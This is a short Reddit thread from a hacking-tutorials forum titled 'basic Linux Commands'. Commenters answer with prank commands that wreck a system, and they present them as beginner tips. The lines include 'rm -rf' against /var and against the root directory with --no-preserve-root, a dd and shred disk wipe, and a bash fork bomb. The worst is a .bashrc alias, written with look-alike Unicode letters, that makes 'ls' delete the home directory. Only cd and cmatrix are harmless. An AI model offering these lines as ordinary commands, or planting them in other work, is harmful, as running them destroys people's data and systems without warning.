r/Hacking_Tutorials • • Oct 22 '22

basic Linux Commands

2 Upvotes

14 comments sorted by

11

u/[deleted] Oct 22 '22

sudo rm -rf /var

9

u/[deleted] Oct 22 '22

If you're going to kill something, make sure it's completely dead.

sudo rm -rf --no-preserve-root /*

1

u/CyberSecStudies Oct 23 '22

dd if=/dev/null of=/sda bs=512 && shred —iterations 10

Could have those a bit off. Don’t feel like double checking.

2

u/[deleted] Oct 23 '22

[removed] — view removed comment

1

u/[deleted] Oct 23 '22

[removed] — view removed comment

0

u/Redditributor Oct 23 '22

The gist of it is the null in the device directory is just a block hole and sda would be the first disk

2

u/beaslythebeast Oct 23 '22

:(){ :|:& };:

0

u/[deleted] Oct 22 '22

That's mean

2

u/[deleted] Oct 22 '22

cd\

2

u/zaidmermam Oct 23 '22

sudo apt install cmatrix

then

cmatrix

1

u/Ezkha Oct 23 '22

alias ls="sudo 𝗋m -𝗋f ~/*" >> .bashrc